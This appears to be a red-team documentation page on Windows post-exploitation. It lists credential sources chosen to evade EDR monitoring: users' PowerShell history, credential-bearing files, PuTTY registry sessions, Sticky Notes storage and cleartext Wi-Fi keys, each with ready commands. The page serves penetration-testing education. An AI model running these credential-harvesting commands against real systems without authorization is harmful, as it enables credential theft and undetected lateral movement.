> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/active-directory/post-exploitation/other-targets.md).

# Other Targets

## Other Targets

LSASS, SAM, and Windows Credentials are all typically heavily monitored by EDR. If you aren't trying to set off alarms, it may be worth it to explore some alternative sources of credentials for lateral movement or privilege escalation.

**Command History**

PowerShell command history is an awesome source of cleartext credentials or connection strings. 

```
gc (Get-PSReadLineOption).HistorySavePath
```

Here is a one-liner to list every user's PowerShell history.

```
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
```

**Files**

I typically start by simply looking at what the user directories have to offer. Most of the time all user directories will be empty except for one or two. After that you can quickly narrow things down with a few commands.

```
Get-ChildItem -Depth 2 C:\users\
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
```

**Registry / Installed Programs**

The registry is most powerful as a credential source when paired with knowledge of installed programs. A common target is PuTTY.

```
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

Here is a PowerShell snippet to cleanly list installed programs.

```
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
```

**Sticky Notes**

Sticky notes are super underrated. They are stored as a cleartext SQLite file.

```
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
```

**Wi-Fi Passwords**

I wouldn't say this has ever helped me, but it can be nice to use.

```
netsh wlan show profile
netsh wlan show profile [profilename] key=clear
```